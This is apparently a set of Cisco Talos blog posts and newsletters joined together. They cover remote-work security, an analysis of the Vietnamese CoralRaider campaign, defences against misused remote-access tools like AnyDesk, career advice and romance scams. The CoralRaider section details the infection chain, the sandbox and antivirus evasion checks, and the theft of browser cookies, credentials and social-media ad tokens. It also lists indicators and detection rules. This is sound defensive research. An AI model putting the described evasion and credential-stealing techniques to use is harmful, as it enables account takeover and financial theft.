The perceived security of a physical office can sometimes lull admins into a false sense of security, too, because machines located on-site may lack pre-boot authentication or encryption that’s commonly found on remote workers’ devices.
I’m not saying that working in an office is inherently less secure than remote work, but I do believe that the risks are essentially the same. Regardless of where an employee is working from, they should be using app-based MFA to access all their services. Sensitive software and hardware should rely on passkeys or physical token access rather than outdated password policies that create easy-to-guess or shareable text-based passwords.
And if security is the name of the game when asking employees to come back into the office, there’s still going to be a monetary investment that comes with that, too.
Cisco’s recently published Global Hybrid Work study found that only 28 percent of responding employees say they would rank their employers’ office’s “Privacy and security features” as “very well.” To me, that says that even if employers want workers back in the office, they still need to upgrade their security, which is always going to mean more money and greater manpower.
Security fundamentals should stay the same, no matter where your employees are. And suppose security is a chief concern for a company in wanting to go back to the “traditional” office lifestyle. In that case, I’m willing to bet they still have security gaps to overcome that simply can’t be solved by thinking they’ll be able to keep a closer eye on employees while they’re in the office to keep them from clicking on a phishing email.
The one big thing
Remote system management/desktop access tools such as AnyDesk and TeamViewer have grown in popularity since 2020. While there are many legitimate uses for this software, adversaries are also finding ways to use them for command and control in their campaigns. Cisco Talos Incident Response (Talos IR) has recently seen a spike in actors using this type of software as a method of gaining initial access to a network or to spy on the actions of users. Talos IR noted in its Quarterly Trends report for the third quarter of 2023, “AnyDesk was observed in all ransomware and pre-ransomware engagements [. . .], underscoring its role in ransomware affiliates' attack chains.”
Why do I care?
The use of these types of tools has increased since the start of the COVID-19 pandemic when remote work became more common. Since this software is legitimate, it can be easy for an attacker to compromise it and sit undetected on a network, bypassing traditional blocking methods. These tools introduce the ability for an adversary to potentially take full remote control of a system, are easy to download and install, and can be very difficult to detect since they are considered legitimate software.
So now what?
Adopting one, or at most two, approved remote management solutions will allow the organization to thoroughly test and deploy in the most secure possible configuration. Once a solution is approved and championed for the organization, other remote management/access tools should be explicitly banned by policy. Due to the complexity of implementing all these controls, detection rules can serve as a backup in case an adversary finds a way to circumvent these mitigations.
Top security headlines of the week
The U.S. and Britain have jointly filed chargers and sanctions against a Chinese state-sponsored actor known as APT31. The group is accused of a sweeping espionage campaign allegedly linked to China's Ministry of State Security (MSS) in the province of Hubei. The group reportedly targeted thousands of U.S. and foreign politicians, foreign policy experts and other high-profile targets. Individuals in the White House, U.S. State Department and spouses of officials were also among those targeted. The attacks aligned with geopolitical events affecting China, including economic tensions with the U.S., arguments over control of the South China Sea, and pro-democracy rallies in Hong Kong in 2019. A release from the U.S. Department of Justice stated that the campaigns involved more than 10,000 malicious emails, sent to targets in multiple continents, in what it called a “prolific global hacking operation.” The charges go on to say that APT31 hoped to compromise government institution networks and stealing trade secrets. Seven Chinese nationals are the target of the new sanctions for their alleged involvement with APT31, including the Wuhan XRZ corporation that is tied to the threat actor. (Reuters, U.S. Department of Justice)
A silent backdoor on Linux machines was almost a massive supply chain attack, before a lone developer found malicious code hidden in software updates. The malicious code was hidden in two updates to xz Utils, an open-source data compression utility available on almost all installations of Linux and other Unix-like operating systems. Had it been successfully deployed, adversaries could have stashed malicious code in an SSH login certificate, upload it and execute it on the backdoored device. Whoever is behind this code likely spent years working on it, with open-source updates going back to 2021. The actor never actually took advantage of the malicious code, so it’s unclear what they planned to upload. Researchers eventually identified the vulnerability as CVE-2024-3094. The U.S. Cybersecurity and Infrastructure Security Agency warned government agencies to downgrade their xz Utils to older versions. (Ars Technica, Dark Reading)
There is a massive backup with the National Vulnerabilities Database and, consequently, MITRE is unable to compile a list of all new vulnerabilities. A recent study from Flashpoint found that there was backlog of more than 100,000 vulnerabilities with no CVE number, and consequently, hadn’t been included in the NVD. Of those, 330 vulnerabilities had been exploited in the wild, yet defenders had not been made aware of them. The National Institute of Standards and Technology blamed the backup on an increase in the volume of software available to the public, leading to a larger number of vulnerabilities, as well as “a change in interagency support.” NIST has only analyzed about half of the more than 8,700 vulnerabilities that had been submitted so far in 2024. And in March alone, they only analyzed 199 out of the 3,370 vulnerabilities submitted. Several organizations have tried launching their own alternatives to the NVD, though adoption can still take a long time. NIST has also vowed to remain dedicated to the NVD and that it’s still regrouping its current efforts. (SecurityWeek,The Record by Recorded Future)
This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.
Cisco Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries.
This group focuses on stealing victims’ credentials, financial data, and social media accounts, including business and advertisement accounts.
They use RotBot, a customized variant of QuasarRAT, and XClient stealer as payloads in the campaign we analyzed.
The actor uses the dead drop technique, abusing a legitimate service to host the C2 configuration file and uncommon living-off-the-land binaries (LoLBins), including Windows Forfiles.exe and FoDHelper.exe
CoralRaider operators likely based in Vietnam
Talos assesses with high confidence that the CoralRaider operators are based in Vietnam, based on the actor messages in their Telegram C2 bot channels and language preference in naming their bots, PDB strings, and other Vietnamese words hardcoded in their payload binaries. The actor’s IP address is located in Hanoi, Vietnam.
Our analysis revealed that the actor uses a Telegram bot, as a C2, to exfiltrate the victim’s data. This allowed us to collect information and uncover several invaluable indicators about the origin and activities of the attacker.
The attacker used two Telegram bots: A “debug” bot for debugging, and an “online” bot where victim data was received. However, a Desktop image in the “debug” bot had a similar desktop and Telegram to the “online” bot. This showed that the actor possibly infected their own environment while testing the bot.
Analyzing the images of the actor’s Desktop on the Telegram bot, we found a few Telegram groups in Vietnamese named “Kiém tien tử Facebook,” “Mua Bán Scan MINI,” and “Mua Bán Scan Meta.” Monitoring these groups revealed that they were underground markets where, among other activities, victim data was traded.
In an image from the “debug bot,” we spotted the Windows device ID (HWID) and an IP address (118[.]71[.]64[.]18), located in Hanoi, Vietnam, that is likely to be CoralRaider’s IP address.
Talos’ research uncovered two other images that revealed a few folders on their OneDrive. One of the folders had a Vietnamese name, “Bot Export Chiến,” which is the same as one of the folders in the PDB strings of their loader component. Pivoting on the folder path in the PDB string, we discovered a few other PDB strings having similar paths but different Vietnamese names. We analyzed the discovered samples with the PDB strings and found they belong to the same loader family, RotBot. The Vietnamese name in the PDB string of the loader binary further strengthens our assessment that CoralRaider is of Vietnamese origin.
D:\ROT\ROT\ROT Ver 5.5\Source\Encrypted\Ver 4.8 - Client Netframe 4.5\XClient\bin\Debug\AI.pdb
Another image we analyzed is an Excel spreadsheet that likely contained the victims’ data. We have redacted the images to maintain confidentiality. The spreadsheet has several tabs in Vietnamese, and their English translation showed us the tabs “Employee salary spreadsheet,” “advertising costs,” “website to buy copies,” “PayPal related,” and “can use.” The spreadsheet seemed to have multiple versions — the first was created on May 10, 2023. We also spotted that they have logged into their Microsoft Office 365 account with the display name “daloia krag” while accessing the spreadsheet, and CoralRaider likely operates the account.
CoralRaider’s payload, XClient stealer analysis, showed us a few more indicators. CoralRaider had hardcoded Vietnamese words in several stealer functions of their payload XClient stealer. The stealer function maps the stolen victim’s information to hardcoded Vietnamese words and writes them to a text file on the victim machine’s temporary folder before exfiltration. One example function we observed is used to steal the victim’s Facebook Ads account that has hardcoded with Vietnamese words for Account rights, Threshold, Spent, Time Zone, and Date Created, etc.
The campaign
Talos observed that CoralRaider is conducting a malicious campaign targeting victims in multiple countries in Asia and Southeast Asia, including India, China, South Korea, Bangladesh, Pakistan, Indonesia and Vietnam.
The initial vector of the campaign is the Windows shortcut file. We are unclear on the technique the actor used to deliver the LNKs to the victims. Some of the shortcut file filenames that we observed during our analysis are:
자세한 비디오 및 이미지.lnk
設計內容+我的名片.lnk
run-dwnl-restart.lnk
index-write-upd.lnk
finals.lnk
manual.pdf.lnk
LoanDocs.lnk
DoctorReferral.lnk
your-award.pdf.lnk
Research.pdf.lnk
start-of-proccess.lnk
lan-onlineupd.lnk
refcount.lnk
We also discovered a few notable unique drive serial numbers from the metadata of the Windows Shortcut files:
A0B4-2B36
FA4C-C31D
94AA-CEFB
46F7-AF3B
The attack begins when a user opens a malicious Windows shortcut file, which downloads and executes an HTML application file (HTA) from an attacker-controlled download server. The HTA file executes an embedded obfuscated Visual Basic script. The malicious Visual Basic script executes an embedded PowerShell script in the memory, which decrypts and sequentially executes three other PowerShell scripts that perform anti-VM and anti-analysis checks, bypass the User Access Controls, disables the Windows and application notifications on the victim’s machine, and finally downloads and run the RotBot.
RotBot, the QuasarRAT client variant, in its initial execution phase, performs several detection evasion checks on the victim machine and conducts system reconnaissance. RotBot then connects to a host on a legitimate domain, likely controlled by the threat actor, and downloads the configuration file for the RotBot to connect to the C2. CoralRaider uses the Telegram bot as the C2 channel in this campaign.
After connecting to the Telegram C2, RotBot loads the payload XClient stealer onto the victim memory from its resource and runs its plugin program. The XClient stealer plugin performs anti-VM and anti-virus software checks on the victim's machine. It executes its functions to collect the victim's browser data, including cookies, stored credentials, and financial information such as credit card details. It also collects the victim’s data from social media accounts, including Facebook, Instagram, TikTok business ads, and YouTube. It also collects the application data from the Telegram desktop and Discord application on the victim's machine. The stealer plugin can capture screenshots of the victim’s desktop and save them as a PNG file in the victim's machine’s temporary folder. With PNG files, the stealer plugin dumps the collected victim’s data from the browser and social media accounts in a text file and creates a ZIP archive. The PNG and ZIP files are exfiltrated to the attacker's Telegram bot C2.
Infection flow diagram.
RotBot loads and runs the payload
RotBot, a remote access tool (RAT) compiled on Jan. 9, 2024, is downloaded and runs on the victim machine disguised as a Printer Subsystem application “spoolsv.exe.” RotBot is a variant of the QuasarRAT client that the threat actor has customized and compiled for this campaign.
During its initial execution, RotBot performs several checks on the victim’s machine to evade detection, including IP address, ASN number, and running processes of the victim’s machine. It performs reconnaissance of system data on the victim machine. It also configures the internet proxy on the victim machine by modifying the registry key:
We observed that RotBot discovered in this campaign creates mutex in the victim machine as the infection markers using the hardcoded strings in the binary.
RotBot loads and runs the XClient stealer module from its resources and uses the configuration parameters for its Telegram C2 bot from the downloaded configuration file.
XClient stealer targets victims’ social media accounts.
The XClient stealer sample we analyzed in this campaign is a .Net executable compiled on Jan. 7, 2024. It has extensive information-stealing capability through its plugin module and various modules for performing remote administrative tasks.
XClient stealer has three primary functions that help it to avoid the radar. First, it will do virtual environment evasion if the victim’s machine runs in VMware or VirtualBox. It also checks if a DLL called sbieDll.dll exists in the victim machine file system to detect if it runs in the Sandboxie environment. XClient stealer also checks if anti-virus software, including AVG, Avast, and Kaspersky, is running on the victim’s machine.
After bypassing all the checking functions, the XClient stealer captures the victim’s machine screenshot, saves it with the “.png” extension in the victim’s temporary user profile folder, and sends it to C2 through the URL “/sendPhoto.”
XClient stealer steals victims’ social media web application credentials, browser data, and financial information such as credit card details. It targets Chrome, Microsoft Edge, Opera, Brave, CocCoc, and Firefox browser data files through the absolute paths of the respective browser installation paths. It extracts the contents of the browser database to a text file in the victim’s profile local temporary folder.
XClient stealer hijacks and steals various Facebook data from the victim’s Facebook account. It sets custom HTTP header metadata along with the victim’s stolen Facebook cookie, and the username sends requests to Facebook APIs through the URLs below.
It checks if the victim’s Facebook is a business or ads account and uses regular expressions to search for access_token, assetID, and paymentAccountID. Using Facebook graph API, XClient attempts to collect an extensive list of information from the victim’s account, shown in the table below.
Current_balance, original_balance, time_expire, type
amount_spent, userpermissions
user, role
Using the graph API, XClient stealer retrieves victims’ account friend list details and pictures.
XClient stealer also targets the victim’s Instagram account and YouTube accounts through the URLs and collects various information, including username, badge_count, appID, accountSectionListRenderer, contents, title, data, actions, getMultiPageMenuAction, menu, multiPageMenuRenderer, sections and hasChannel. It collects the application data from the Telegram desktop and Discord application on the victim’s machine. XClient also collects the data from the victim’s TikTok business account and checks for business ads.
Talos compiled the hardcoded HTTP request header metadata the XClient stealer uses in this campaign while retrieving the victim’s information from Facebook, Instagram, and YouTube accounts.
Facebook
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: \"Windows\"
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
x-goog-authuser: 0
x-origin: https://www.youtube.com
x-youtube-bootstrap-logged-in: true
x-youtube-client-name: 1
Finally, the XClient stealer stores the victim’s social media data, which is collected into a text file in the local user profile temporary folder and creates a ZIP archive. The ZIP files were exfiltrated to the Telegram C2 through the URL “/sendDocument”.
Talos’ research of this campaign focused on discovering and disclosing a new threat actor of Vietnamese origin and their payloads. Additional technical details of the attack chain components of this campaign can be found in the report published by the researchers at QiAnXin Threat Intelligence Center.
Coverage
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SID for this threat is 63192.
ClamAV detections are also available for this threat:
Lnk.Downloader.CoralRaider-10024620-0
Html.Downloader.CoralRaider-10025101-0
Win.Trojan.RotBot-10024631-0
Win.Infostealer.XClient-10025106-2
Indicators of Compromise
Indicators of Compromise associated with this threat can be found here.
Remote system management/desktop access tools such as AnyDesk and TeamViewer have grown in popularity since 2020. While there are many legitimate uses for this software, adversaries are also finding ways to use them for command and control in their campaigns.
There is no easy way to effectively block all unauthorized remote management tools, but security can be greatly improved through a combination of policy and technical controls.
Early warning alerts can be configured to alert defenders to remote management software activity that may have circumvented the technical controls.
The remote management/access software problem
Since 2020, the use of remote system management/access tools such as AnyDesk and TeamViewer has exploded in popularity due to forced work-from-home during the COVID-19 pandemic.
Whether used by an IT help desk technician to fix a user’s remote system or by co-workers for collaboration, these tools play an essential role in most corporations’ digital functions. However, this convenience comes at a cost. These tools introduce the ability for an adversary to potentially take full remote control of a system, are easy to download and install, and can be very difficult to detect since they are considered legitimate software.
Further complicating the task of recognizing the malicious use of these tools, many organizations struggle to combat “shadow IT” in which individual users or overly proactive IT personnel might install unauthorized remote management tools to accomplish a benign goal.
Cisco Talos Incident Response (Talos IR) is seeing adversaries capitalize on this opportunity in the wild. We recently noted in our Quarterly Trends report for the third quarter of 2023, “AnyDesk was observed in all ransomware and pre-ransomware engagements [. . .], underscoring its role in ransomware affiliates' attack chains.”
While AnyDesk is a legitimate application, it highlights the tremendous value that can be gained through a security program that intentionally focuses on preventing unauthorized use of these tools. Talos is referencing AnyDesk for the purposes of this blog post, but any remote management tool is at risk of these exploits. There are several policy changes, technical countermeasures and security alerts that admins and defenders can use to ensure that AnyDesk, and similar pieces of software, are only used for legitimate purposes when deployed.
Policy change suggestion: Pick one approved remote management tool
Adopting one, or at most two, approved remote management solutions will allow the organization to thoroughly test and deploy in the most secure possible configuration.
If possible, integration with other organizational technology such as Active Directory or multi-factor authentication (MFA) will provide additional layers of protection and verification. Tying the approved remote management solutions into these already structured security solutions can make it easier to build “early warning” detections and alerts around unauthorized connectivity and use.
Once a solution is approved and championed for the organization, other remote management/access tools should be explicitly banned by policy. Ideally, this should be accompanied by a software inventory audit and published guidance on approved/non-approved software for the organization. Training and consistent enforcement of this policy will help reduce the “shadow IT” noise in the environment and leave network defenders with more time to investigate true anomalies.
Technical controls
While very worthwhile, preventing unauthorized use of these tools is not simple. First, the scores of commercially available remote access tools make it difficult to address every option an adversary might use. Many of those tools are frequently updated, meaning that blocking the executables by their hash value is not as effective.
Adversaries also commonly rename the executables, meaning that filename blocks aren’t going to be helpful, either.
Many popular solutions operate over common ports and protocols, such as ports 80 and 443, making them difficult to block at the firewall, and remote access tool creators often decline to publish their central server IP addresses due to frequently changing resolutions, which limits the effectiveness of static IP address blocks. A combination of approaches and techniques is necessary to limit the opportunity for an adversary to use remote access/management tools in any given environment.
DNS security controls
One of the most effective methods for detecting, and sometimes blocking, the activities of unauthorized remote management/access software, is by auditing and blocking DNS queries associated with these tools.
If your organization uses Cisco Umbrella for DNS security, it’s fairly easy to review and block DNS queries related to unauthorized traffic.
To review what might already be on your network, log into the Umbrella console and view “Reporting > App Discovery > Unreviewed Apps,” filtered by the “Collaboration” and “IT Services Management” categories, this is an excellent starting point to identify unexpected remote access software.
Simply clicking “Block this app” gives the administrator the ability to block future DNS requests associated with any particular result. If you prefer to take an even more proactive approach, going to “Policies > Policy Components > Application Settings” allows you to search all applications currently categorized by Umbrella, whether they have been seen on your network or not, and block them by policy. Again, the “Collaboration” and “IT Services Management” categories should be the areas of focus for policy review.
As with all of these technical controls, there are a few limitations. The first major caveat is that this only works if the DNS queries are evaluated by your security stack. In the case of DNS traffic from a home user’s system not traveling over the corporate network, the activity would be invisible. The second major caveat is that some remote management software has direct peer-to-peer capabilities, meaning the software might not send a DNS query to an easily identifiable domain when initiating a connection.
Firewall controls
While less scalable and reliable, basic IP address blocking can be beneficial for preventing unauthorized remote software connections. Some vendors list static IP addresses for their central servers on their support sites that can be leveraged to control this access. However, many vendor IP addresses change periodically, making the task a bit challenging.
Another potentially fruitful approach to firewall traffic blocking is by port number. For example, TeamViewer prefers to use port 5938, although it can fall back on the practically unblockable port 443. While blocking port 5938 would not stop the connection, a properly configured alert would provide defenders with an early warning that TeamViewer was trying to connect out.
Some firewalls also provide additional functionality around session content, similar to Umbrella’s capabilities. Firewalls such as Cisco’s Meraki provide an allow/block URL listing that can be configured to prevent connectivity to unapproved remote management software sites. Cisco Meraki can provide content filtering options that may be helpful in blocking remote management/access sites.
Administrators should consider that firewall controls to combat unauthorized remote software management connections can have unintended consequences and should be heavily tested and piloted prior to implementation.
Verify that IP addresses are dedicated to that application prior to blocking in order to avoid blocking Content Delivery Network (CDN) nodes or other cloud computing shared resources.
Finally, network segmentation or micro-segmentation can be useful in blocking unauthorized remote management software usage. For instance, categorizing and organizing server resources separate from workstation resources can allow for more tailored options around blocking all unnecessary traffic at the firewall, include that which may be associated with remote management tools. Some organizations already do this well by integrating with group policy configurations.
Host-based controls
Windows Defender Application Control (WDAC) and AppLocker
Of all the controls discussed in this post, WDAC and AppLocker are the only ones that can offer almost 100 percent protection against unauthorized remote management/access software execution.
In their most secure configuration, which allows only pre-approved software to run, users or adversaries can't run unexpected executables. However, this comes at a cost, as the approved software baseline maintenance level of effort can be high, and the user experience can be very limited if they are not allowed to install applications as needed.
WDAC and AppLocker offer considerable flexibility in their policies, so some organizations choose to only lock down their critical servers, such as domain controllers, which leaves user system policies more flexible. This approach has benefits far beyond simply blocking remote access/management software, as it will stop most malware from executing, as well.
Keep in mind that, while WDAC is currently more difficult to configure, it has more advanced capabilities and Microsoft is positioning it as the replacement for AppLocker. At the moment, AppLocker is receiving security updates, but no new feature updates.
Registry filename blocks
It is possible to block remote management/access software execution by filename via a registry “DisallowRun” key. However, Talos IR does not recommend this approach, except as a containment measure during incident response, since it is not scalable as a preventative measure and is trivially easy to bypass by renaming the executable or modifying the registry.
EDR blocks
Almost every modern EDR can block file hashes, which gives defenders the capability to block the hashes associated with remote management/access software installers and/or installed executables. However, similarly to the filename GPO blocks, this is not scalable or reliable as a proactive measure, since every new version of every software distribution will have a new hash value. This measure should be restricted to containment during incident response only.
Some EDR solutions offer methods to block vulnerable or unauthorized software, albeit with significant caveats regarding the limitations of those capabilities. The authors of this article have not tested those capabilities but note them here for the sake of completeness.
Host-based firewalls
The recommendations for host-based firewall rules are much the same as standalone firewalls, covered above. These can be useful where administrators expect users to roam outside of the boundary of the corporate network, such as home workers off the corporate VPN or using a split-tunnel VPN implementation.
Administrator permission restriction
Restricting administrator permissions so that most users cannot conduct administrator actions on their work computer, such as installing remote access/management software, can help limit an adversary’s ability to install this software after the initial compromise.
Applying the principle of least privilege, which includes both locking down local administrator permissions and limiting the permissions of users’ domain accounts, is considered standard best practice.
NAC controls
While network access control (NAC) solutions do not directly block the use of remote management software, they can ensure that all other technical controls are working properly before admitting an endpoint to the network. If the device is a rogue system or lacks EDR, for example, NAC would prevent it from joining.
Another benefit offered by a NAC solution is software version enforcement through custom rules. In Cisco ISE, for example, there are Posture Checks. Organizations can use this to ensure that only the approved version(s) of their approved remote management tool are allowed on the network, directly addressing the threat of an adversary introducing an older version of the approved solution to the network for malicious purposes.
Alerts and forensics
Due to the complexity of implementing all these controls, detection rules can serve as a backup in case an adversary finds a way to circumvent the previous mitigations we discussed. The possibilities for these “tripwire” detections are endless, and SOCs/threat-hunting teams should continuously think of ways to improve them, but some ideas are listed below.
Central log collection
The first prerequisite for any successful detections is to have centralized log aggregation. At the very minimum, this should ingest firewall logs, EDR alerts and Windows Event logs for key servers.
SIEM alerts for suspicious strings
Setting up a simple alert that triggers upon observation of strings associated with unauthorized remote access/management software product names (e.g., “AnyDesk”) can be an effective way to proactively identify unexpected product installations that were not otherwise blocked.
For example, an MSI installation would generate an Event 11707 entry in the Windows Application Event logs containing the software product name. If the SIEM were ingesting and evaluating those event logs, it would fire an alert, thereby alerting the SOC to a potential installation. This rule would need to be tuned to avoid excessive false positives, but it could result in a valuable early detection method.
SIEM alerts for firewall blocks on unique ports
Enhanced alerting may be necessary to draw a SOC’s attention to firewall blocks associated with remote management/access traffic. Firewalls continuously block traffic, generally dropping thousands or millions of packets per hour. With that in mind, SOCs are not alerted every time a firewall rule drops traffic — especially if the rule that drops the traffic is the Implicit Deny rule blocking all traffic that was not specifically allowed. However, if an internal host attempts to communicate over a port dedicated to remote access/management software, that might merit attention from the SOC.
It's worth considering creating an SIEM rule that alerts on any firewall block event involving outbound traffic to certain key ports, for example, 5938 (associated with TeamViewer). That alert, while an indication that the network blocks are working as intended, would be a good indication that the SOC needs to investigate the system originating the traffic.
The level of effort required to properly secure remote management/access software is daunting. However, the frequency of use by adversaries makes that effort a necessity. In the wrong hands, these tools serve as a ready-made command and control mechanism. If an organization can afford to secure its VPN solution, it should almost certainly devote resources to locking down unauthorized remote management software, as well.
Welcome to this week’s threat source newsletter with Jon out, you’ve got me as your substitute teacher.
I’m taking you back to those halcyon days of youth and that moment when you found out that you had a sub that day, will I be the teacher that just rolls in the TV cart and delivers the single greatest blast of freedom that you can have in a classroom, or will I be the teacher that strolls into your 4th grade class and is appalled that you aren’t already conversant in Dostoevsky? Neither. Today I will be the old wizened oracle offering advice and attempting to answer one of the most asked questions I receive at public speaking engagements. So pull up a desk and don’t make that high pitched sound with a wet finger on the basket underneath the seat, because I know the old magicks.
The number one question that I field after public speaking is “Why did they let you out of your cage to talk to normal people?” and honestly, I don’t really have an answer I just hope that no one notices. The next question is invariably a variation of “How did you become a threat hunter?”, “How do I get a job in cyber security?”, “How do I get a gig within Talos?” The answer is simply – be curious. Intellectual curiosity is the key. I’ll take it a step further when talking specifically about Talos and quote Walt Whitman (via Ted Lasso) and say, “Be curious, not judgmental” because being a positive part of the culture is as important as the deep arcane knowledge and skills that you need to get your foot in the door at Talos.
There are a lot of paths that you can take in security and the various skill sets along each path vary but curiosity will carry you through each one. A lot of people will tell you to follow your passion and I will vehemently disagree; I will say to follow your aptitude. As you learn and grow within the field, you’ll find that some things come easily, don’t fight the wind in that scenario be the willow. If you are extremely early in your journey, find the helpers. There are tons of super helpful people, sites, and resources available to get you started and finding them is easy if you are curious. Attend a BSides or local security group like AHA. Install Snort and start learning what traffic looks like on the wire and create custom signatures. Install Kali and break things, in your own environment please. Combine the two and see where it will take you. If you are further along in your journey and are interested in taking the next step from analyst to malware research or reverse engineering, you can start with hasherezade's 1001 nights and see if you have the aptitude to follow that path. Don’t be afraid to try something and fail. Don’t expect to be good from the start. Don’t be afraid to ask questions and admit that you don’t know something – the most important things I’ve picked up usually come from “I don’t know, could you teach me?”.
In the end there are truly almost as many paths as there are people doing the jobs. It’s crazy how varied the backgrounds on our teams are but curiosity is rampant.
The one big thing
The one big thing is that clearly, I’m substituting, and all is normal in the security world. Vulns continue to be exploited, security vendors continue to be consolidated, and everything is as it was in the world. THISISFINEDOTGIF.
Why do I care?
Because it’s what keeps us up at night. That and a warm cup of Liber-Tea.
So now what?
Now we deliver Managed Democracy on Hell Divers 2 – together.
Top security headlines of the week
A newly discovered vulnerability baked into Apple’s M-series of chips allows attackers to extract secret keys from Macs when they perform widely used cryptographic operations, academic researchers have revealed in a paper published Thursday. (Ars Technica, Wired
Metasploit has announced the release of Metasploit Framework 6.4 which features several improvements and a new feature for Windows Meterpreter that allows for searching a process's memory for user-specified needles with support for regular expressions. (Rapid 7)
This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.
Whether you want to call them “catfishing,” “pig butchering” or just good ‘old-fashioned “social engineering,” romance scams have been around forever.
I was first introduced to them through the MTV show “Catfish,” but recently they seem to be making headlines as the term “pig butchering” enters the public lexicon. John Oliver recently covered it on “Last Week Tonight,” which means everyone my age with an HBO account heard about it a few weeks ago. And one of my favorite podcasts going, “Search Engine,” just covered it in an episode.
The concept of “pig butchering” scams generally follows the same chain of events:
An unknown phone number texts or messages a target with a generally harmless message, usually asking for a random name disguised as an “Oops, wrong number!” text.
When the target responds, the actor tries to strike up a conversation with a friendly demeanor.
If the conversation persists, they usually evolve into “love bombing,” including compliments, friendly advice, ego-boosting, and saying flattering things about any photos the target has sent.
Sometimes, the relationship may turn romantic.
The scammer eventually “butchers” the “pig” that has been “fattened up” to that point, scamming them into handing over money, usually in the form of a phony cryptocurrency app, or just straight up asking for the target to send the scammer money somehow.
There are a few twists and turns along the way based on the exact scammer, but that’s generally how it works. What I think is important to remember is that this specific method of separating users from their money is not actually new.
The FBI seems to release a renewed warning about romance scams every Valentine’s Day when people are more likely to fall for a stranger online wanting to make a real connection and then eventually asking for money. I even found a podcast from the FBI in 2015 in which they warned that scammers “promise love, romance, to entice their victims online,” estimating that romance-related scams cost consumers $82 million in the last half of 2014.
The main difference that I can tell between “pig butchering” and past romance scams is the sheer scale. Many actors running these operations are relying on human trafficking and sometimes literal imprisonment, forcing these people against their will to send these mass blocks of messages to a variety of targets indiscriminately. Oftentimes in these groups, scammers who are less “successful” in luring victims can be verbally and physically harassed and punished. That is, of course, a horrible human toll that these operations are taking, but they also extend far beyond the world of cybersecurity.
In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package. Instead, it relies on user education and the involvement of law enforcement agencies and international governments to ensure these farms can’t operate in the shows. The founders who run them are brought to justice.
It’s never a bad thing that users become more educated on these scams, because of that, but I also feel it’s important to remember that romance-related scams, and really any social engineering built on a personal “relationship,” has been around for years, and “pig butchering” is not something new that just started popping up.
These types of scams are ones that our culture has kind of just accepted as part of daily life at this point (who doesn’t get surprised when they get a call about their “car’s extended warranty?), and now the infrastructure to support these scams is taking a larger human toll than ever.
The one big thing
Talos has yet another round of research into the Turla APT, and now we’re able to see the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclsions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.
Why do I care?
Turla, and this recently discovered TinyTurlaNG tool that Talos has been writing about, is an international threat that’s been around for years, so it’s always important for the entire security community to know what they’re up to. Most recently, Turla used these tactics to target Polish non-governmental organizations (NGOs) and steal sensitive data.
So now what?
During Talos’ research into TinyTurla-NG, we’ve released several new rounds of detection content for Cisco Secure products. Read our past two blog posts on this actor for more.
Top security headlines of the week
The Biden administration issued a renewed warning to public water systems and operators this week, saying state-sponsored actors could carry out cyber attacks soon, citing ongoing threats from Iran and China. The White House and U.S. Environmental Protection Agency sent a letter to every U.S. governor this week warning them that cyber attacks could disrupt access to clean drinking water and “impose significant costs on affected communities.” The letter also points to the U.S. Cyber and Infrastructure Security Agency’s list of known exploited vulnerabilities catalog, asking the managers of public water systems to ensure their systems are patched against these vulnerabilities. The EPA pointed to Volt Typhoon, a recently discovered Chinese APT that has reportedly been hiding on critical infrastructure networks for an extended period. A meeting among federal government leaders from the EPA and other related agencies is scheduled for March 21 to discuss threats to public water systems and how they can strengthen their cybersecurity posture. (Bloomberg, The Verge)
